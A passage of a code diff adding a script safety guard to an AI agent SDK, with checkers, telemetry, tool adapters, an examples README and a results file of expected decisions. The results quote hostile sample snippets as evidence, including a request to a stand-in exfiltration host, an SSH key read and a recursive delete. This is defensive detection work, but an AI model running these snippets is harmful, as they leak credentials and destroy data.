"SECRET002_FILE_SINK", SafetyDecision.DENY, policy) + out.append(_finding( + rule_id="SECRET002_FILE_SINK", + category=RiskCategory.SECRET, + risk=RiskLevel.HIGH, + decision=decision, + snippet=fact.snippet, + line=fact.loc.line, + column=fact.loc.column, + language=language, + redactor=redactor, + recommendation="Secret-looking value flows into a file sink.", + extras={"source": fact.source, "sink": fact.sink}, + )) + return out + + +def check_secret_to_network( + facts: ScriptFacts, + policy: ToolSafetyPolicy, + language: ScriptLanguage, + redactor: Redactor, +) -> list[SafetyFinding]: + out: list[SafetyFinding] = [] + for fact in facts.secret_flows: + if fact.sink_kind != "network": + continue + decision = resolve_decision( + "SECRET003_NETWORK_SINK", SafetyDecision.DENY, policy) + out.append(_finding( + rule_id="SECRET003_NETWORK_SINK", + category=RiskCategory.SECRET, + risk=RiskLevel.HIGH, + decision=decision, + snippet=fact.snippet, + line=fact.loc.line, + column=fact.loc.column, + language=language, + redactor=redactor, + recommendation="Secret-looking value flows into a network sink.", + extras={"source": fact.source, "sink": fact.sink}, + )) + return out + + +def check_parse_error( + facts: ScriptFacts, + policy: ToolSafetyPolicy, + language: ScriptLanguage, + redactor: Redactor, +) -> list[SafetyFinding]: + out: list[SafetyFinding] = [] + for fact in facts.parse_errors: + decision = resolve_decision( + "PARSE001_UNCERTAIN", + _default_unknown(policy), + policy, + ) + if decision == SafetyDecision.ALLOW: + continue + out.append(_finding( + rule_id="PARSE001_UNCERTAIN", + category=RiskCategory.ANALYSIS, + risk=RiskLevel.MEDIUM, + decision=decision, + snippet=fact.snippet or fact.message, + line=fact.loc.line, + column=fact.loc.column, + language=language, + redactor=redactor, + recommendation="Could not parse the script; treat as untrusted.", + extras={"message": fact.message}, + )) + return out + + +def check_dynamic_exec( + facts: ScriptFacts, + policy: ToolSafetyPolicy, + language: ScriptLanguage, + redactor: Redactor, +) -> list[SafetyFinding]: + out: list[SafetyFinding] = [] + for fact in facts.dynamic_execs: + decision = resolve_decision( + "OBF001_DYNAMIC_EXEC", + _default_unknown(policy), + policy, + ) + if decision == SafetyDecision.ALLOW: + continue + out.append(_finding( + rule_id="OBF001_DYNAMIC_EXEC", + category=RiskCategory.ANALYSIS, + risk=RiskLevel.HIGH, + decision=decision, + snippet=fact.snippet, + line=fact.loc.line, + column=fact.loc.column, + language=language, + redactor=redactor, + recommendation="Dynamic code execution hides intent; replace with a static call.", + extras={"kind": fact.kind}, + )) + return out + + +CATALOG = ( + check_file_recursive_delete, + check_file_denied_write, + check_file_credential_read, + check_file_dotenv_read, + check_network_non_allowlist, + check_network_ip_literals, + check_network_dynamic_target, + check_process_exec, + check_shell_injection, + check_shell_operator, + check_privilege_escalation, + check_dependency_install, + check_unbounded_loop, + check_fork_bomb, + check_long_sleep, + check_concurrency, + check_large_write, + check_secret_to_output, + check_secret_to_file, + check_secret_to_network, + check_parse_error, + check_dynamic_exec, +) + + +def evaluate_facts( + facts: ScriptFacts, + policy: ToolSafetyPolicy, + language: ScriptLanguage, + redactor: Redactor, +) -> list[SafetyFinding]: + """Run every catalog checker and return the combined findings.""" + + out: list[SafetyFinding] = [] + for checker in CATALOG: + out.extend(checker(facts, policy, language, redactor)) + return out + + +# --------------------------------------------------------------------------- # +# Rule objects +# --------------------------------------------------------------------------- # + +class _LanguageScannerRule: + """Shared base for Python/Bash rules. + + Subclasses set :attr:`language` and :attr:`_extract` so the rule + delegates parsing to the right scanner once, then runs the catalog. + """ + + rule_id = "language_scanner" + + def __init__(self, language: ScriptLanguage) -> None: + self.language = language + + def _extract(self, request: SafetyScanRequest) -> ScriptFacts: + raise NotImplementedError + + def scan( + self, + request: SafetyScanRequest, + policy: ToolSafetyPolicy, + ) -> Iterable[SafetyFinding]: + if request.language != self.language: + return [] + if not request.script: + return [] + facts = self._extract(request) + redactor = Redactor(env_values=request.env.values()) + return evaluate_facts(facts, policy, self.language, redactor) + + +def _matches_denied_path(target: str, policy: ToolSafetyPolicy) -> bool: + if not target: + return False + from trpc_agent_sdk.tools.safety._policy import normalize_script_path_for_match + + normalized = normalize_script_path_for_match(target) + for pattern in policy.paths.deny: + if match_path_glob(normalized, pattern) or \ + match_path_glob(target, pattern): + return True + # Path basename matching for relative references like ".env". + name = normalized.rsplit("/", 1)[-1] + if name == ".env": + return True + for pattern in policy.paths.deny: + if match_path_glob(name, pattern.rsplit("/", 1)[-1]): + return True + return False + + +def _first_token(command: str) -> str: + if not command: + return "" + return command.strip().split()[0] if command.strip() else "" + + +def _is_ip_literal(host: str) -> bool: + try: + ipaddress.ip_address(host.strip("[]")) + except ValueError: + return False + return True + + +def _concurrency_limit_for( + fact: ConcurrencyFact, + policy: ToolSafetyPolicy, +) -> int: + process_primitives = { + "multiprocessing.Process", + "multiprocessing.Pool", + "concurrent.futures.ProcessPoolExecutor", + "background-jobs", + } + if fact.raw in process_primitives: + return policy.limits.max_processes + return policy.limits.max_parallel_tasks + + +# Read-only / informational Bash commands that are exempt from PROC001. +# Other rules (file read of credentials, secret flow, network checks) +# still apply when these commands touch sensitive targets. +_SAFE_BASH_COMMANDS: frozenset[str] = frozenset({ + "echo", "printf", "ls", "ll", "pwd", "cd", "cat", "head", "tail", + "less", "more", "view", "grep", "egrep", "fgrep", "rg", "ack", + "wc", "sort", "uniq", "tr", "cut", "paste", "expand", "unexpand", + "date", "cal", "uptime", "whoami", "id", "groups", "hostname", + "uname", "env", "printenv", "set", "true", "false", "test", "[", + "basename", "dirname", "realpath", "readlink", "which", "whereis", + "file", "stat", "ldd", "du", "df", "free", "vmstat", "seq", "yes", + "tee", # tee writes files but FILE002 catches sensitive targets + "xargs", # may invoke subcommands; those are recorded as separate facts + "find", # find -delete handled separately + "ps", "lsof", "netstat", "ss", "ip", "ifconfig", "arp", + "man", "help", "type", "command", "hash", + "getopts", "getopt", "sleep", # RES003 catches long sleeps + "clear", "reset", "history", "alias", "unalias", + "set", "unset", "export", "shift", "shopt", "source", ".", + "python", "python3", "python2", "node", "ruby", "perl", + "git", "go", "cargo", "rustc", "gcc", "clang", + "curl", "wget", # NET001/NET002 vet targets + "ssh", "scp", "sftp", # treated as network calls + "tar", "zip", "unzip", "gzip", "gunzip", "bzip2", "xz", +}) + + +def default_rules() -> list[SafetyRule]: + """Return the default rule set. + + Rules are constructed lazily so importing this module is cheap. The + Python and Bash scanners are wired here; custom rules can be appended + or used as a replacement set. + """ + + from trpc_agent_sdk.tools.safety._python_scanner import PythonScannerRule + from trpc_agent_sdk.tools.safety._bash_scanner import BashScannerRule + from trpc_agent_sdk.tools.safety._cross_field_scanner import CrossFieldScannerRule + + return [ + PythonScannerRule(), + BashScannerRule(), + CrossFieldScannerRule(), + ] diff --git a/trpc_agent_sdk/tools/safety/_telemetry.py b/trpc_agent_sdk/tools/safety/_telemetry.py new file mode 100644 index 00000000..232477fc --- /dev/null +++ b/trpc_agent_sdk/tools/safety/_telemetry.py @@ -0,0 +1,197 @@ +"""OpenTelemetry integration that no-ops cleanly when OTel is absent. + +We record a small, low-cardinality set of span attributes plus a counter +and histogram. Evidence, script hashes, and env values are never emitted +as span attributes: they would inflate cardinality and risk leaking +secrets via tracing backends. +""" + +from __future__ import annotations + +from typing import Any + +from trpc_agent_sdk.tools.safety._models import SafetyAuditEvent, SafetyReport + + +_SPAN_ATTRS = ( + "trpc_agent_sdk.tools.safety.decision", + "trpc_agent_sdk.tools.safety.risk_level", + "trpc_agent_sdk.tools.safety.rule_id", + "trpc_agent_sdk.tools.safety.blocked", + "trpc_agent_sdk.tools.safety.redacted", + "trpc_agent_sdk.tools.safety.scan_duration_ms", + "trpc_agent_sdk.tools.safety.policy_hash", +) + +_METRIC_SCAN_COUNT = "trpc_agent.tool_safety.scan_count" +_METRIC_BLOCK_COUNT = "trpc_agent.tool_safety.block_count" +_METRIC_SCAN_DURATION = "trpc_agent.tool_safety.scan_duration_ms" + + +class TelemetrySink: + """Best-effort telemetry facade. + + The constructor probes for an OpenTelemetry tracer/meter provider. If + none is configured, all methods become no-ops. This keeps the guard + safe to import in environments that do not run OTel. + """ + + def __init__(self) -> None: + self._tracer = _safe_tracer() + self._meter = _safe_meter() + self._counter = _safe_counter(self._meter, _METRIC_SCAN_COUNT) + self._block_counter = _safe_counter(self._meter, _METRIC_BLOCK_COUNT) + self._histogram = _safe_histogram(self._meter, _METRIC_SCAN_DURATION) + + def record(self, report: SafetyReport, *, + tool_name: str, blocked: bool) -> None: + attrs = self.attributes(report, tool_name=tool_name, blocked=blocked) + self._emit_span_attrs(attrs) + if self._counter is not None: + try: + self._counter.add( + 1, { + "decision": report.decision.value, + "risk_level": report.risk_level.label(), + "tool_name": tool_name, + } + ) + except Exception: # pragma: no cover - defensive + pass + if blocked and self._block_counter is not None: + try: + primary = report.rule_ids[0] if report.rule_ids else "" + self._block_counter.add( + 1, { + "decision": report.decision.value, + "rule_id": primary, + "tool_name": tool_name, + } + ) + except Exception: # pragma: no cover - defensive + pass + if self._histogram is not None: + try: + self._histogram.record( + report.scan_duration_ms, + {"decision": report.decision.value, + "tool_name": tool_name}, + ) + except Exception: # pragma: no cover - defensive + pass + + @staticmethod + def attributes(report: SafetyReport, *, + tool_name: str, blocked: bool) -> dict[str, Any]: + """Return the span attribute dict for a report. + + ``rule_id`` is joined into a bounded comma-separated string (the + list is naturally bounded by the rule catalog size). + """ + + rule_ids = ",".join(report.rule_ids[:8]) + return { + "trpc_agent_sdk.tools.safety.decision": report.decision.value, + "trpc_agent_sdk.tools.safety.risk_level": report.risk_level.label(), + "trpc_agent_sdk.tools.safety.rule_id": rule_ids, + "trpc_agent_sdk.tools.safety.blocked": bool(blocked), + "trpc_agent_sdk.tools.safety.redacted": bool(report.redacted), + "trpc_agent_sdk.tools.safety.scan_duration_ms": float(report.scan_duration_ms), + "trpc_agent_sdk.tools.safety.policy_hash": report.policy_hash, + } + + def _emit_span_attrs(self, attrs: dict[str, Any]) -> None: + if self._tracer is None: + return + try: + from opentelemetry.trace import ( # type: ignore + INVALID_SPAN, get_current_span, + ) + span = get_current_span() + if span is INVALID_SPAN or span is None: + return + # ``set_attributes`` exists on Span starting from OTel 1.x. + set_attributes = getattr(span, "set_attributes", None) + if set_attributes is not None: + set_attributes(attrs) + return + for key, value in attrs.items(): + span.set_attribute(key, value) + except Exception: # pragma: no cover - defensive + pass + + +def _safe_tracer(): + try: + from opentelemetry.trace import get_tracer # type: ignore + return get_tracer("trpc_agent_sdk.tools.safety") + except Exception: + return None + + +def _safe_meter(): + try: + from opentelemetry.metrics import get_meter # type: ignore + return get_meter("trpc_agent_sdk.tools.safety") + except Exception: + return None + + +def _safe_counter(meter, name: str): + if meter is None: + return None + try: + return meter.create_counter(name) + except Exception: + return None + + +def _safe_histogram(meter, name: str): + if meter is None: + return None + try: + return meter.create_histogram(name) + except Exception: + return None + + +_default_sink: TelemetrySink | None = None + + +def get_default_sink() -> TelemetrySink: + global _default_sink + if _default_sink is None: + _default_sink = TelemetrySink() + return _default_sink + + +def build_audit_event( + *, + report, + tool_name: str, + tool_kind, + execution_blocked: bool, + timestamp: str, + invocation_id: str | None = None, +): + """Build a :class:`SafetyAuditEvent` from a report.""" + + from trpc_agent_sdk.tools.safety._models import SafetyAuditEvent + + return SafetyAuditEvent( + event_id=report.report_id, + timestamp=timestamp, + report_id=report.report_id, + tool_name=tool_name, + tool_kind=tool_kind, + decision=report.decision, + risk_level=report.risk_level, + rule_ids=report.rule_ids, + duration_ms=report.scan_duration_ms, + redacted=report.redacted, + execution_blocked=execution_blocked, + policy_hash=report.policy_hash, + policy_version=report.policy_version, + script_sha256=report.script_sha256, + invocation_id=invocation_id, + ) diff --git a/trpc_agent_sdk/tools/safety/_tool_adapter.py b/trpc_agent_sdk/tools/safety/_tool_adapter.py new file mode 100644 index 00000000..5b27a5bf --- /dev/null +++ b/trpc_agent_sdk/tools/safety/_tool_adapter.py @@ -0,0 +1,229 @@ +"""Build SafetyScanRequest from tool invocation args. + +The adapter reads the declarative field mapping from the policy so +custom tools can be supported without code changes. Built-in adapters +cover ``workspace_exec``, ``skill_run`` and ``skill_exec``; MCP and +custom tools use the same declarative form. +""" + +from __future__ import annotations + +from typing import Any, Mapping + +from trpc_agent_sdk.tools.safety._exceptions import ToolRequestError +from trpc_agent_sdk.tools.safety._models import SafetyScanRequest, ScriptLanguage, ToolKind +from trpc_agent_sdk.tools.safety._policy import ToolFieldMapping, ToolSafetyPolicy + + +# Default mappings keyed by the canonical tool name. The keys must match +# what the framework passes as ``tool_name`` to the filter; they can be +# overridden or extended through ``policy.tools``. +_BUILTIN_DEFAULTS: dict[str, ToolFieldMapping] = { + "workspace_exec": ToolFieldMapping( + execution_capable=True, + language=ScriptLanguage.BASH, + script="command", + cwd="cwd", + env="env", + timeout="timeout_sec", + ), + "skill_run": ToolFieldMapping( + execution_capable=True, + language=ScriptLanguage.BASH, + script="command", + cwd="cwd", + env="env", + timeout="timeout", + ), + "skill_exec": ToolFieldMapping( + execution_capable=True, + language=ScriptLanguage.BASH, + script="command", + cwd="cwd", + env="env", + timeout="timeout", + ), + "python_exec": ToolFieldMapping( + execution_capable=True, + language=ScriptLanguage.PYTHON, + script="code", + cwd="cwd", + env="env", + timeout="timeout", + ), + "bash_exec": ToolFieldMapping( + execution_capable=True, + language=ScriptLanguage.BASH, + script="command", + cwd="cwd", + env="env", + timeout="timeout", + ), +} + + +class ToolInputAdapter: + """Translate a tool's invocation args into a SafetyScanRequest. + + The adapter is intentionally pure: it does not call the tool, read + files, or evaluate the script. It only normalizes the declared + arguments into the request shape the guard expects. + """ + + def __init__( + self, + tool_name: str, + mapping: ToolFieldMapping, + *, + tool_kind: ToolKind = ToolKind.UNKNOWN, + ) -> None: + self.tool_name = tool_name + self.mapping = mapping + self.tool_kind = tool_kind + + def build_request( + self, + args: Mapping[str, Any], + *, + metadata: Mapping[str, Any] | None = None, + ) -> SafetyScanRequest: + script = _extract_scalar(args, self.mapping.script, + required=self.mapping.execution_capable) + if script is None and self.mapping.execution_capable: + raise ToolRequestError( + f"tool {self.tool_name!r} is execution-capable but no " + f"script field was found (expected field " + f"{self.mapping.script!r})" + ) + cwd = _extract_scalar(args, self.mapping.cwd, required=False) + env = _extract_mapping(args, self.mapping.env) + argv_value = _extract_sequence(args, self.mapping.argv) + timeout = _extract_float(args, self.mapping.timeout) + merged_metadata: dict[str, Any] = { + "execution_capable": self.mapping.execution_capable, + "adapter_id": self.tool_name, + } + if metadata: + merged_metadata.update(metadata) + return SafetyScanRequest( + tool_name=self.tool_name, + tool_kind=self.tool_kind, + language=self.mapping.language, + script=script or "", + argv=argv_value, + cwd=cwd, + env=env, + metadata=merged_metadata, + requested_timeout_seconds=timeout, + ) + + +def build_default_adapters( + policy: ToolSafetyPolicy, +) -> dict[str, ToolInputAdapter]: + """Build adapters for builtin tools, allowing policy overrides.""" + + out: dict[str, ToolInputAdapter] = {} + for name, default in _BUILTIN_DEFAULTS.items(): + mapping = policy.tools.get(name, default) + out[name] = ToolInputAdapter(name, mapping) + for name, mapping in policy.tools.items(): + if name in out: + continue + out[name] = ToolInputAdapter(name, mapping) + return out + + +def resolve_adapter( + tool_name: str, + policy: ToolSafetyPolicy, + *, + builtin: dict[str, ToolInputAdapter] | None = None, +) -> ToolInputAdapter: + """Pick the adapter for ``tool_name``. + + Built-ins win first; otherwise the policy-declared mapping is used. + A tool with no mapping returns an adapter whose language is UNKNOWN + so the guard falls back to ``needs_human_review``. + """ + + if builtin and tool_name in builtin: + return builtin[tool_name] + mapping = policy.tools.get(tool_name) or ToolFieldMapping( + execution_capable=False, + language=ScriptLanguage.UNKNOWN, + ) + return ToolInputAdapter(tool_name, mapping) + + +# --------------------------------------------------------------------------- # +# Helpers +# --------------------------------------------------------------------------- # + +def _extract_scalar( + args: Mapping[str, Any], + field_name: str | None, + *, + required: bool, +) -> str | None: + if not field_name: + return None + if field_name not in args: + if required: + raise ToolRequestError( + f"required field {field_name!r} missing from tool args") + return None + value = args[field_name] + if value is None: + return None + if isinstance(value, str): + return value + if isinstance(value, (list, tuple)): + return " ".join(str(v) for v in value) + return str(value) + + +def _extract_mapping( + args: Mapping[str, Any], + field_name: str | None, +) -> dict[str, str]: + if not field_name or field_name not in args: + return {} + value = args[field_name] + if value is None: + return {} + if not isinstance(value, Mapping): + raise ToolRequestError( + f"field {field_name!r} must be a mapping; got {type(value)!r}") + return {str(k): str(v) for k, v in value.items()} + + +def _extract_sequence( + args: Mapping[str, Any], + field_name: str | None, +) -> tuple[str, ...]: + if not field_name or field_name not in args: + return () + value = args[field_name] + if value is None: + return () + if isinstance(value, str): + return (value,) + if isinstance(value, (list, tuple)): + return tuple(str(v) for v in value) + return (str(value),) + + +def _extract_float( + args: Mapping[str, Any], + field_name: str | None, +) -> float | None: + if not field_name or field_name not in args: + return None + value = args[field_name] + if value is None: + return None + try: + return float(value) + except (TypeError, ValueError): + return None diff --git a/trpc_agent_sdk/tools/safety/examples/README.md b/trpc_agent_sdk/tools/safety/examples/README.md new file mode 100644 index 00000000..3e820af2 --- /dev/null +++ b/trpc_agent_sdk/tools/safety/examples/README.md @@ -0,0 +1,62 @@ +# Tool Script Safety Guard examples + +This directory contains a sample policy, the 14 public sample scripts, +and the generated report / audit outputs. + +## Files + +| File | Purpose | +|---|---| +| `tool_safety_policy.yaml` | Sample policy. Edit this file to change allow/deny lists without touching code. | +| `samples/01_safe_python.py` | Safe Python: `allow` | +| `samples/02_safe_bash.sh` | Safe Bash: `allow` | +| `samples/03_dangerous_delete.py` | Recursive delete: `deny / FILE001_RECURSIVE_DELETE` | +| `samples/04_read_ssh_key.py` | Reads `~/.ssh/id_rsa`: `deny / FILE003_CREDENTIAL_READ` | +| `samples/05_non_whitelist_network.py` | Non-allowlisted host: `deny / NET001_DOMAIN_NOT_ALLOWED` | +| `samples/06_whitelist_network.py` | Allowlisted GitHub API: `allow` | +| `samples/07_allowed_subprocess.py` | Allowlisted subprocess: `allow` | +| `samples/08_shell_injection.py` | `shell=True`: `deny / PROC002_SHELL_INJECTION` | +| `samples/09_dependency_install.sh` | `pip install`: `deny / DEP001_ENV_MUTATION` | +| `samples/10_infinite_loop.py` | `while True`: `deny / RES001_UNBOUNDED_LOOP` | +| `samples/11_sensitive_output.py` | Secret to print: `deny / SECRET001_LOG_SINK` | +| `samples/12_bash_pipeline.sh` | Shell pipeline: `needs_human_review / PROC003_SHELL_OPERATOR` | +| `samples/13_read_dotenv.sh` | Reads `.env`: `deny / FILE004_DOTENV_READ` | +| `samples/14_dynamic_command_review.py` | Runtime-built command: `needs_human_review / PROC001_PROCESS_EXEC` | +| `samples/manifest.yaml` | Expected decisions for all 14 samples | +| `tool_safety_report.json` | Single-sample report (regenerated by CLI) | +| `tool_safety_audit.jsonl` | Audit events (regenerated by CLI) | +| `manifest_run.json` | Expected-vs-actual results and full structured reports for all samples | + +## Run + +```bash +# Single sample +python ../../../../scripts/tool_safety_check.py \ + --policy tool_safety_policy.yaml \ + --language python \ + --script-file samples/03_dangerous_delete.py \ + --output tool_safety_report.json \ + --audit-file tool_safety_audit.jsonl +echo $? # 0=allow, 2=deny, 3=review, 4=input/policy error + +# All 14 samples +python ../../../../scripts/tool_safety_check.py \ + --policy tool_safety_policy.yaml \ + --manifest samples/manifest.yaml \ + --manifest-output manifest_run.json \ + --audit-file tool_safety_audit.jsonl +``` + +## What to look at + +* `tool_safety_report.json` shows the full structured report for one + deny sample, including redacted evidence, recommendation, and policy + hash. +* `tool_safety_audit.jsonl` shows one line per scan. Note that no raw + script text, env values, or unredacted arguments ever appear. +* `manifest_run.json` shows expected-vs-actual decisions and the full + structured report for each of the 14 samples. + +See the full design document in +[English](../../../../docs/mkdocs/en/tool_safety_guard.md) or +[中文](../../../../docs/mkdocs/zh/tool_safety_guard.zh_CN.md). diff --git a/trpc_agent_sdk/tools/safety/examples/manifest_run.json b/trpc_agent_sdk/tools/safety/examples/manifest_run.json new file mode 100644 index 00000000..0a8cdbc8 --- /dev/null +++ b/trpc_agent_sdk/tools/safety/examples/manifest_run.json @@ -0,0 +1,623 @@ +[ + { + "name": "safe_python", + "expected_decision": "allow", + "actual_decision": "allow", + "rule_ids": [ + "SAFE000" + ], + "report_id": "rep-c480d658e1ac4c23", + "risk_level": "info", + "duration_ms": 0.33109996002167463, + "matches_expected": true, + "report": { + "report_id": "rep-c480d658e1ac4c23", + "decision": "allow", + "risk_level": "info", + "rule_ids": [ + "SAFE000" + ], + "findings": [], + "recommendation": "No safety rules matched.", + "policy_hash": "b2fdff89270f2f5e19eb4d5dd00c222a15a802d46806318863ae8af88d79cf38", + "policy_version": "1", + "script_sha256": "abceeaaec48b8039440cfe2965b16b583fdbba619fdee4ef37e2bacb0a3409c6", + "scan_duration_ms": 0.33109996002167463, + "redacted": false + } + }, + { + "name": "safe_bash", + "expected_decision": "allow", + "actual_decision": "allow", + "rule_ids": [ + "SAFE000" + ], + "report_id": "rep-91d203cd74a9499d", + "risk_level": "info", + "duration_ms": 0.5583000602200627, + "matches_expected": true, + "report": { + "report_id": "rep-91d203cd74a9499d", + "decision": "allow", + "risk_level": "info", + "rule_ids": [ + "SAFE000" + ], + "findings": [], + "recommendation": "No safety rules matched.", + "policy_hash": "b2fdff89270f2f5e19eb4d5dd00c222a15a802d46806318863ae8af88d79cf38", + "policy_version": "1", + "script_sha256": "ed01a81b947444d4baffce077fd4092f927bbc7fcf3d85ad5e3ad665cedb59d6", + "scan_duration_ms": 0.5583000602200627, + "redacted": false + } + }, + { + "name": "dangerous_recursive_delete", + "expected_decision": "deny", + "actual_decision": "deny", + "rule_ids": [ + "FILE001_RECURSIVE_DELETE" + ], + "report_id": "rep-48536314ac6f45a2", + "risk_level": "critical", + "duration_ms": 0.3353999927639961, + "matches_expected": true, + "report": { + "report_id": "rep-48536314ac6f45a2", + "decision": "deny", + "risk_level": "critical", + "rule_ids": [ + "FILE001_RECURSIVE_DELETE" + ], + "findings": [ + { + "rule_id": "FILE001_RECURSIVE_DELETE", + "category": "file", + "risk_level": "critical", + "decision": "deny", + "evidence": { + "snippet": "shutil.rmtree(path)", + "line": 12, + "column": 5, + "language": "python", + "extras": { + "target": "path", + "explicit": "False" + } + }, + "recommendation": "Avoid recursive delete; require explicit file list." + } + ], + "recommendation": "Block execution and request a human-approved path.", + "policy_hash": "b2fdff89270f2f5e19eb4d5dd00c222a15a802d46806318863ae8af88d79cf38", + "policy_version": "1", + "script_sha256": "190f022e0277f968f73f655c896143edd741fd126d3e4e2032ef49117e533bd9", + "scan_duration_ms": 0.3353999927639961, + "redacted": false + } + }, + { + "name": "read_ssh_key", + "expected_decision": "deny", + "actual_decision": "deny", + "rule_ids": [ + "FILE003_CREDENTIAL_READ" + ], + "report_id": "rep-514e7d65ccf04b24", + "risk_level": "critical", + "duration_ms": 0.43290003668516874, + "matches_expected": true, + "report": { + "report_id": "rep-514e7d65ccf04b24", + "decision": "deny", + "risk_level": "critical", + "rule_ids": [ + "FILE003_CREDENTIAL_READ" + ], + "findings": [ + { + "rule_id": "FILE003_CREDENTIAL_READ", + "category": "file", + "risk_level": "critical", + "decision": "deny", + "evidence": { + "snippet": "path.read_text()", + "line": 14, + "column": 12, + "language": "python", + "extras": { + "target": "/.ssh/id_rsa" + } + }, + "recommendation": "Reading credentials at runtime is forbidden." + } + ], + "recommendation": "Block execution and request a human-approved path.", + "policy_hash": "b2fdff89270f2f5e19eb4d5dd00c222a15a802d46806318863ae8af88d79cf38", + "policy_version": "1", + "script_sha256": "12ecf602862d52505db684562b72f6344a1215e900530a08b3d403f640cd3bdc", + "scan_duration_ms": 0.43290003668516874, + "redacted": false + } + }, + { + "name": "non_allowlist_network", + "expected_decision": "deny", + "actual_decision": "deny", + "rule_ids": [ + "NET001_DOMAIN_NOT_ALLOWED" + ], + "report_id": "rep-6e2b248939f3442b", + "risk_level": "high", + "duration_ms": 0.42990001384168863, + "matches_expected": true, + "report": { + "report_id": "rep-6e2b248939f3442b", + "decision": "deny", + "risk_level": "high", + "rule_ids": [ + "NET001_DOMAIN_NOT_ALLOWED" + ], + "findings": [ + { + "rule_id": "NET001_DOMAIN_NOT_ALLOWED", + "category": "network", + "risk_level": "high", + "decision": "deny", + "evidence": { + "snippet": "requests.get(\"https://evil.example.com/exfiltrate\", timeout=5)", + "line": 12, + "column": 16, + "language": "python", + "extras": { + "host": "evil.example.com", + "library": "requests" + } + }, + "recommendation": "Host is not on the allow list; add it explicitly." + } + ], + "recommendation": "Block execution and request a human-approved path.", + "policy_hash": "b2fdff89270f2f5e19eb4d5dd00c222a15a802d46806318863ae8af88d79cf38", + "policy_version": "1", + "script_sha256": "4b9ead86041e4de5143a88150db65414d87478f4101e75b05dc17640f5450f90", + "scan_duration_ms": 0.42990001384168863, + "redacted": false + } + }, + { + "name": "allowlist_network", + "expected_decision": "allow", + "actual_decision": "allow", + "rule_ids": [ + "SAFE000" + ], + "report_id": "rep-dc1032b0e1e244fa", + "risk_level": "info", + "duration_ms": 0.4124999977648258, + "matches_expected": true, + "report": { + "report_id": "rep-dc1032b0e1e244fa", + "decision": "allow", + "risk_level": "info", + "rule_ids": [ + "SAFE000" + ], + "findings": [], + "recommendation": "No safety rules matched.", + "policy_hash": "b2fdff89270f2f5e19eb4d5dd00c222a15a802d46806318863ae8af88d79cf38", + "policy_version": "1", + "script_sha256": "91ec771a616b8170154dc89c2f9b857561a41d94f642ee5be6809cf578b60233", + "scan_duration_ms": 0.4124999977648258, + "redacted": false + } + }, + { + "name": "allowed_subprocess", + "expected_decision": "allow", + "actual_decision": "allow", + "rule_ids": [ + "SAFE000" + ], + "report_id": "rep-423ebc2911ef4833", + "risk_level": "info", + "duration_ms": 0.4381999606266618, + "matches_expected": true, + "report": { + "report_id": "rep-423ebc2911ef4833", + "decision": "allow", + "risk_level": "info", + "rule_ids": [ + "SAFE000" + ], + "findings": [], + "recommendation": "No safety rules matched.", + "policy_hash": "b2fdff89270f2f5e19eb4d5dd00c222a15a802d46806318863ae8af88d79cf38", + "policy_version": "1", + "script_sha256": "c4964d41038acace3b140b307c78f2c059a6b6cf21c677f9fb386a7dc5013093", + "scan_duration_ms": 0.4381999606266618, + "redacted": false + } + }, + { + "name": "shell_injection", + "expected_decision": "deny", + "actual_decision": "deny", + "rule_ids": [ + "PROC002_SHELL_INJECTION", + "PROC003_SHELL_OPERATOR" + ], + "report_id": "rep-093190edb1a84df9", + "risk_level": "critical", + "duration_ms": 0.4626999143511057, + "matches_expected": true, + "report": { + "report_id": "rep-093190edb1a84df9", + "decision": "deny", + "risk_level": "critical", + "rule_ids": [ + "PROC002_SHELL_INJECTION", + "PROC003_SHELL_OPERATOR" + ], + "findings": [ + { + "rule_id": "PROC002_SHELL_INJECTION", + "category": "process", + "risk_level": "critical", + "decision": "deny", + "evidence": { + "snippet": "subprocess.run(\n f\"ls {user_input}\", shell=True, check=False,\n )", + "line": 12, + "column": 12, + "language": "python", + "extras": { + "executable": "" + } + }, + "recommendation": "Use argument lists (shell=False) to avoid shell injection." + }, + { + "rule_id": "PROC003_SHELL_OPERATOR", + "category": "process", + "risk_level": "medium", + "decision": "needs_human_review", + "evidence": { + "snippet": "subprocess.run(\n f\"ls {user_input}\", shell=True, check=False,\n )", + "line": 12, + "column": 12, + "language": "python", + "extras": { + "operator": "shell=True" + } + }, + "recommendation": "Shell operators require review; split into explicit steps." + } + ], + "recommendation": "Block execution and request a human-approved path.", + "policy_hash": "b2fdff89270f2f5e19eb4d5dd00c222a15a802d46806318863ae8af88d79cf38", + "policy_version": "1", + "script_sha256": "2d43a58affa3528860aa1a7fa400b161c4e766138a50e1f94ceaa20413a0960a", + "scan_duration_ms": 0.4626999143511057, + "redacted": false + } + }, + { + "name": "dependency_install", + "expected_decision": "deny", + "actual_decision": "deny", + "rule_ids": [ + "DEP001_ENV_MUTATION", + "PROC001_PROCESS_EXEC" + ], + "report_id": "rep-9a8c142c06454d17", + "risk_level": "high", + "duration_ms": 0.3119000466540456, + "matches_expected": true, + "report": { + "report_id": "rep-9a8c142c06454d17", + "decision": "deny", + "risk_level": "high", + "rule_ids": [ + "DEP001_ENV_MUTATION", + "PROC001_PROCESS_EXEC" + ], + "findings": [ + { + "rule_id": "DEP001_ENV_MUTATION", + "category": "dependency", + "risk_level": "high", + "decision": "deny", + "evidence": { + "snippet": "pip install requests", + "line": 7, + "column": 1, + "language": "bash", + "extras": { + "manager": "pip", + "command": "pip install requests" + } + }, + "recommendation": "Dependency installation mutates the runtime image." + }, + { + "rule_id": "DEP001_ENV_MUTATION", + "category": "dependency", + "risk_level": "high", + "decision": "deny", + "evidence": { + "snippet": "npm install lodash", + "line": 8, + "column": 1, + "language": "bash", + "extras": { + "manager": "npm", + "command": "npm install lodash" + } + }, + "recommendation": "Dependency installation mutates the runtime image." + }, + { + "rule_id": "PROC001_PROCESS_EXEC", + "category": "process", + "risk_level": "low", + "decision": "needs_human_review", + "evidence": { + "snippet": "pip install requests", + "line": 7, + "column": 1, + "language": "bash", + "extras": { + "executable": "pip" + } + }, + "recommendation": "Executable is not on the configured allow list." + }, + { + "rule_id": "PROC001_PROCESS_EXEC", + "category": "process", + "risk_level": "low", + "decision": "needs_human_review", + "evidence": { + "snippet": "npm install lodash", + "line": 8, + "column": 1, + "language": "bash", + "extras": { + "executable": "npm" + } + }, + "recommendation": "Executable is not on the configured allow list." + } + ], + "recommendation": "Block execution and request a human-approved path.", + "policy_hash": "b2fdff89270f2f5e19eb4d5dd00c222a15a802d46806318863ae8af88d79cf38", + "policy_version": "1", + "script_sha256": "c5eac42d35862e3dfb843d596a6239960e1d826180f0a77b20874c79918d86a3", + "scan_duration_ms": 0.3119000466540456, + "redacted": false + } + }, + { + "name": "infinite_loop", + "expected_decision": "deny", + "actual_decision": 